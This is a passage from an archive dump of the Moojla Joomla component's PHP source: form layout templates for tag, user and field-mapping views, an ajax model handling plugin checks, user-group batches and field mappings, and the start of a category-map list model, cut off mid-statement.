_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'moojlacourse'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/index.html000064400000000054151165724400012704
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/tag_instance/publishing.php000064400000004357151165724400013576
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/publlshing.php000064400000004357151165724400013601
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'access',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/details_left.php000064400000004330151165724400014377
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'juserfields',
	'muserfields',
	'iscv'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/index.html000064400000000054151165724400013223
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/user_field_map/publishing.php000064400000004357151165724400014115
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/publlshing.php000064400000004344151165724400014114
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/details_left.php000064400000004317151165724400013241
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'debug',
	'jid',
	'userimage'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/details_right.php000064400000004307151165724400013423
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'updatetype',
	'mid'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/index.html000064400000000054151165724400012060
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/user_map/publishing.php000064400000004357151165724400012752
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/publlshing.php000064400000004344151165724400012751
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
models/ajax.php000064400000013055151165724400007474 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		ajax.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Ajax Model
 */
class MoojlaModelAjax extends JModelList
{
	protected $app_params;
	
	public function __construct() 
	{		
		parent::__construct();		
		// get params
		$this->app_params	=
JComponentHelper::getParams('com_moojla');
		
	}

	// Used in course

/***[JCBGUI.admin_view.php_ajaxmethod.129.$$$$]***/
public function shop_requirement($shop_name)
{
    $shop_integration = $shop_name;
    $res= [];
    if ($shop_integration == 'hk') {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);

        $query->select('extension_id, enabled, name');
        $query->from($db->quoteName('#__extensions'));
        $query->where('(' .
$db->quoteName('folder') . '=' .
$db->quote('editors-xtd') . ' and ' .
$db->quoteName('element') . '=' .
$db->quote('hikashopproduct') . ') or (' .
$db->quoteName('folder') . '=' .
$db->quote('system') . ' and ' .
$db->quoteName('element') . '=' .
$db->quote('hikashopproductinsert') . ')');

        $db->setQuery($query);
        $results = $db->loadObjectList('name');

        $required_plugins = ['Hikashop product tag insertion
plugin', 'HikaShop product tag translation plugin'];

        foreach ($required_plugins as $required_plugin) {

            if ($results[$required_plugin]) {
                if ($results[$required_plugin]->enabled == 1)
                    $res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is installed and
enabled', 'class'=>'success'];
                else
                    $res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is installed but not
enabled', 'class'=>'error'];
            } else
                $res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is not installed',
'class'=>'error'];
        }
        $res['component']= 'hikashop';
        return $res;
    }
  
}/***[/JCBGUI$$$$]***/


	// Used in user_map

/***[JCBGUI.admin_view.php_ajaxmethod.130.$$$$]***/
  public function userbatch($users, $group, $op)
  {

    foreach($users as $user)
    {
      $user = JFactory::getUser(intval($user));
      $set_group = array();
      foreach($group as $gp)
      {
        switch($op[0])
        {
          case 'add':
            if(!in_array($gp, $user->groups))
            {
              $user->groups[] = intval($gp);
            }
            break;
          case 'del':
            if (($key = array_search($gp, $user->groups)) !== false) {
              unset($user->groups[$key]);
            }
            break;
          case 'set':
            if(!in_array($gp, $set_group))
            {
              $set_group[] = $gp;
            }
            $user->groups = $set_group;
            break;
        }
      }
      $user->save();
    }

    return array(
      'staus'	=>	true
    );
    // return array(
    // 'users'	=>	$users,
    // 'group'	=>	$group,
    // 'op'	=>	$op,
    // );
  }/***[/JCBGUI$$$$]***/


	// Used in user_field_map

/***[JCBGUI.admin_view.php_ajaxmethod.134.$$$$]***/
  public function addMapperRows($ads)
  {
    JLoader::register('MoojlaModelUser_field_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/user_field_map.php');
    JLoader::register('MoojlaModelUser_fields_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/user_fields_map.php');
    JLoader::register('MoojlaTableUser_field_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/tables/user_fields_map.php');
    $ufsmModel = new MoojlaModelUser_fields_map;
    $mappings = $ufsmModel->getItems();
    foreach($mappings as $map)
    {
      $ufmModel = new MoojlaModelUser_field_map;
      $pk = array($map->id);
      $ufmModel->publish($pk, -2);
      $ufmModel->delete($pk);
    }
    if($ads == 'cb')
    {
      $firstnameMapArray = array(
        'juserfields'		=>	'cb_firstname',
        'muserfields'		=>	'sm_firstname'
      );
      $lastnameMapArray = array(
        'juserfields'		=>	'cb_lastname',
        'muserfields'		=>	'sm_lastname'
      );

      
      $ufmModel = new MoojlaModelUser_field_map;
      $ufmModel->save($firstnameMapArray);
      $ufmModel = new MoojlaModelUser_field_map;
      $ufmModel->save($lastnameMapArray);
      
    }
    $emailMapArray = array(
      'juserfields'		=>	'sj_email',
      'muserfields'		=>	'sm_email'
    );
    $ufmModel = new MoojlaModelUser_field_map;
    $ufmModel->save($emailMapArray);
    return array();
  }
/***[/JCBGUI$$$$]***/

}
models/categories_map.php000064400000016201151165724400011527
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		categories_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Categories_map Model
 */
class MoojlaModelCategories_map extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.jcatid','jcatid',
				'a.mcatid','mcatid'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$jcatid = $this->getUserStateFromRequest($this->context .
'.filter.jcatid', 'filter_jcatid');
		if ($formSubmited)
		{
			$jcatid = $app->input->post->get('jcatid');
			$this->setState('filter.jcatid', $jcatid);
		}

		$mcatid = $this->getUserStateFromRequest($this->context .
'.filter.mcatid', 'filter_mcatid');
		if ($formSubmited)
		{
			$mcatid = $app->input->post->get('mcatid');
			$this->setState('filter.mcatid', $mcatid);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_category_map',
'a'));

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.jcatid LIKE '.$search.' OR a.mcatid
LIKE '.$search.')');
			}
		}


		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
